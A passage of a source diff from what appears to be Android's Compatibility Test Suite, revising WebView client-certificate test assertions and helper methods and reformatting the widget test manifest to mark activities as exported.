-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
-        assertEquals(callCount + 1, webViewClient.getClientCertRequestCount());
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        assertNotEquals(TestHtmlConstants.HTML_URL1_TITLE, mOnUiThread.getTitle());
+        // At least one of the loads done by loadUrlUntilError() should produce
+        // onReceivedClientCertRequest.
+        assertTrue("onReceivedClientCertRequest should be called at least once for second URL",
+                webViewClient.getClientCertRequestCount() >= 1);
 
         // Reload, proceeding the request. Load should succeed.
         webViewClient.setAction(ClientCertWebViewClient.PROCEED);
@@ -864,16 +882,20 @@
         clearClientCertPreferences();
         // Cancel the request. Load should fail.
         webViewClient.setAction(ClientCertWebViewClient.CANCEL);
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
+        // At least one of the loads done by loadUrlUntilError() should produce
+        // onReceivedClientCertRequest.
+        assertTrue("onReceivedClientCertRequest should be called at least once",
+                webViewClient.getClientCertRequestCount() >= 1);
 
         // Reload. The request should fail without generating a new callback.
-        int callCount = webViewClient.getClientCertRequestCount();
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        assertEquals(callCount, webViewClient.getClientCertRequestCount());
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertFailedHandshakeOrConnectionError(webViewClient.onReceivedErrorCode());
+        webViewClient.resetCallCounts();
+        loadUrlUntilError(webViewClient, url, WebViewClient.ERROR_FAILED_SSL_HANDSHAKE);
+        // None of the loads done by loadUrlUntilError() should produce onReceivedClientCertRequest.
+        assertEquals("onReceivedClientCertRequest should not be called for reload",
+                0, webViewClient.getClientCertRequestCount());
+        assertNotEquals(TestHtmlConstants.HELLO_WORLD_TITLE, mOnUiThread.getTitle());
     }
 
     /**
@@ -961,8 +983,11 @@
                 String failingUrl) {
             mErrorCode = errorCode;
         }
-        public void resetWasOnReceivedSslErrorCalled() {
+        @CallSuper
+        public void resetCallCounts() {
             mWasOnReceivedSslErrorCalled = false;
+            mErrorUrl = null;
+            mErrorCode = 0;
         }
         public boolean wasOnReceivedSslErrorCalled() {
             return mWasOnReceivedSslErrorCalled;
@@ -1007,15 +1032,18 @@
             return mPrincipals;
         }
 
-        public void resetClientCertRequestCount() {
-            mClientCertRequests = 0;
-        }
-
         public void setAction(int action) {
             mAction = action;
         }
 
         @Override
+        public void resetCallCounts() {
+            super.resetCallCounts();
+            mClientCertRequests = 0;
+            mPrincipals = null;
+        }
+
+        @Override
         public void onReceivedClientCertRequest(WebView view, ClientCertRequest request) {
             mClientCertRequests++;
             mPrincipals = request.getPrincipals();
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 9e33a5d..3069e6a 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -81,6 +81,8 @@
 import android.webkit.cts.WebViewSyncLoader.WaitForProgressClient;
 import android.widget.LinearLayout;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.google.common.util.concurrent.SettableFuture;
@@ -807,6 +809,7 @@
         assertEquals("false", mOnUiThread.evaluateJavascriptSync("'custom_property' in interface"));
     }
 
+    @FlakyTest(bugId = 171702662)
     public void testJavascriptInterfaceForClientPopup() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
@@ -1442,11 +1445,11 @@
         // can not scroll any more
         mOnUiThread.findNext(false);
         waitForScrollingComplete(previousScrollY);
-        assertTrue(mOnUiThread.getScrollY() == previousScrollY);
+        assertEquals(mOnUiThread.getScrollY(), previousScrollY);
 
         mOnUiThread.findNext(true);
         waitForScrollingComplete(previousScrollY);
-        assertTrue(mOnUiThread.getScrollY() == previousScrollY);
+        assertEquals(mOnUiThread.getScrollY(), previousScrollY);
     }
 
     public void testDocumentHasImages() throws Exception, Throwable {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
index 1eed020..2f247f2 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
@@ -21,6 +21,7 @@
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.lessThan;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertNotEquals;
 
 import android.net.http.SslError;
 import android.os.StrictMode;
@@ -322,7 +323,7 @@
         }
 
         public float expectZoomBy(float currentScale, float scaleAmount) {
-            assertTrue(scaleAmount != 1.0f);
+            assertNotEquals(scaleAmount, 1.0f);
 
             float nextScale = currentScale * scaleAmount;
             ScaleChangedState state = waitForNextScaleChange();
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
index 446a204..414dd0f 100644
--- a/tests/tests/widget/Android.bp
+++ b/tests/tests/widget/Android.bp
@@ -24,6 +24,7 @@
         "androidx.annotation_annotation",
         "androidx.test.ext.junit",
         "androidx.test.rules",
+	"ctsdeviceutillegacy-axt",
         "mockito-target-minus-junit4",
         "android-common",
         "compatibility-device-util-axt",
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 85d4fc8..f3dbee4 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -16,615 +16,685 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.widget.cts"
-    android:targetSandboxVersion="2">
+     package="android.widget.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
 
     <application android:label="Android TestCase"
-            android:icon="@drawable/size_48x48"
-            android:maxRecents="1"
-            android:multiArch="true"
-            android:name="android.widget.cts.MockApplication"
-            android:supportsRtl="true"
-            android:theme="@android:style/Theme.Material.Light.DarkActionBar">
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:name="android.widget.cts.MockApplication"
+         android:supportsRtl="true"
+         android:theme="@android:style/Theme.Material.Light.DarkActionBar">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.widget.cts.EmptyCtsActivity"
-                  android:label="EmptyCtsActivity">
+             android:label="EmptyCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AbsoluteLayoutCtsActivity"
-                  android:label="AbsoluteLayoutCtsActivity">
+             android:label="AbsoluteLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TwoLineListItemCtsActivity"
-            android:label="TwoLineListItemCtsActivity">
+             android:label="TwoLineListItemCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ViewFlipperCtsActivity"
-            android:label="ViewFlipperCtsActivity">
+             android:label="ViewFlipperCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.HorizontalScrollViewCtsActivity"
-            android:label="HorizontalScrollViewCtsActivity">
+             android:label="HorizontalScrollViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SlidingDrawerCtsActivity"
-            android:label="SlidingDrawerCtsActivity">
+             android:label="SlidingDrawerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DigitalClockCtsActivity"
-            android:label="DigitalClockCtsActivity">
+             android:label="DigitalClockCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ImageViewCtsActivity"
-                  android:label="ImageViewCtsActivity">
+             android:label="ImageViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ImageSwitcherCtsActivity"
-                  android:label="ImageSwitcherCtsActivity">
+             android:label="ImageSwitcherCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TextSwitcherCtsActivity"
-                  android:label="TextSwitcherCtsActivity">
+             android:label="TextSwitcherCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SwitchCtsActivity"
-                  android:label="SwitchCtsActivity">
+             android:label="SwitchCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SpinnerCtsActivity"
-                  android:label="SpinnerCtsActivity">
+             android:label="SpinnerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ToolbarCtsActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
-                  android:label="ToolbarCtsActivity">
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:label="ToolbarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ToolbarWithMarginsCtsActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
-                  android:label="ToolbarWithMarginsCtsActivity">
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:label="ToolbarWithMarginsCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ActionMenuViewCtsActivity"
-                  android:label="ActionMenuViewCtsActivity">
+             android:label="ActionMenuViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.SeekBarCtsActivity"
-            android:label="SeekBarCtsActivity">
+             android:label="SeekBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ScrollViewCtsActivity"
-            android:label="ScrollViewCtsActivity">
+             android:label="ScrollViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.FrameLayoutCtsActivity"
-            android:label="FrameLayoutCtsActivity">
+             android:label="FrameLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.LinearLayoutCtsActivity"
-            android:label="LinearLayoutCtsActivity">
+             android:label="LinearLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.GridLayoutCtsActivity"
-            android:label="GridLayoutCtsActivity">
+             android:label="GridLayoutCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.LayoutDirectionCtsActivity"
-            android:label="LayoutDirectionCtsActivity">
+             android:label="LayoutDirectionCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AbsSeekBarCtsActivity"
-            android:label="AbsSeekBarCtsActivity">
+             android:label="AbsSeekBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ProgressBarCtsActivity"
-            android:label="ProgressBarCtsActivity">
+             android:label="ProgressBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ChronometerCtsActivity"
-            android:label="ChronometerCtsActivity">
+             android:label="ChronometerCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.MediaControllerCtsActivity"
-            android:label="MediaControllerCtsActivity">
+             android:label="MediaControllerCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RatingBarCtsActivity"
-            android:label="RatingBarCtsActivity">
+             android:label="RatingBarCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.RemoteViewsCtsActivity"
-            android:label="RemoteViewsCtsActivity">
+             android:label="RemoteViewsCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ExpandableListBasic"
-                  android:label="ExpandableListBasic">
+             android:label="ExpandableListBasic"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ExpandableList"
-                  android:label="ExpandableList">
+             android:label="ExpandableList"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.CtsActivity"
-            android:label="CtsActivity">
+             android:label="CtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ExpandableListWithHeaders"
-            android:label="ExpandableListWithHeaders">
+             android:label="ExpandableListWithHeaders"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.GalleryCtsActivity"
-            android:label="GalleryCtsActivity">
+             android:label="GalleryCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.PopupWindowCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize|smallestScreenSize|screenLayout"
-            android:label="PopupWindowCtsActivity"
-            android:theme="@style/Theme.PopupWindowCtsActivity">
+             android:configChanges="keyboardHidden|orientation|screenSize|smallestScreenSize|screenLayout"
+             android:label="PopupWindowCtsActivity"
+             android:theme="@style/Theme.PopupWindowCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.PopupMenuCtsActivity"
-                  android:label="PopupMenuCtsActivity">
+             android:label="PopupMenuCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ListPopupWindowCtsActivity"
-                  android:label="ListPopupWindowCtsActivity"
-                  android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="ListPopupWindowCtsActivity"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ListViewCtsActivity"
-                  android:label="ListViewCtsActivity">
+             android:label="ListViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.ListViewFixedCtsActivity"
-                  android:label="ListViewFixedCtsActivity">
+             android:label="ListViewFixedCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TextClockCtsActivity"
-                  android:label="TextClockCtsActivity"
-                  android:screenOrientation="nosensor"
-                  android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="TextClockCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.TextViewCtsActivity"
                   android:label="TextViewCtsActivity"
                   android:screenOrientation="locked"
+                  android:exported="true"
                   android:windowSoftInputMode="stateAlwaysHidden">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.EditTextCtsActivity"
-                  android:label="EditTextCtsActivity"
-                  android:screenOrientation="nosensor"
-                  android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="EditTextCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.DialerFilterCtsActivity"
-            android:label="DialerFilterCtsActivity">
+             android:label="DialerFilterCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.MultiAutoCompleteTextViewCtsActivity"
-            android:label="MultiAutoCompleteTextView Test Activity">
+             android:label="MultiAutoCompleteTextView Test Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.VideoViewCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:label="VideoViewCtsActivity">
+             android:configChanges="keyboardHidden|orientation|screenSize"
+             android:label="VideoViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.AutoCompleteCtsActivity"
-            android:label="AutoCompleteCtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="AutoCompleteCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.widget.cts.ViewAnimatorCtsActivity" android:label="ViewAnimatorCtsActivity">
+        <activity android:name="android.widget.cts.ViewAnimatorCtsActivity"
+             android:label="ViewAnimatorCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.widget.cts.GridViewCtsActivity"
-            android:label="GridViewCtsActivity">
+             android:label="GridViewCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
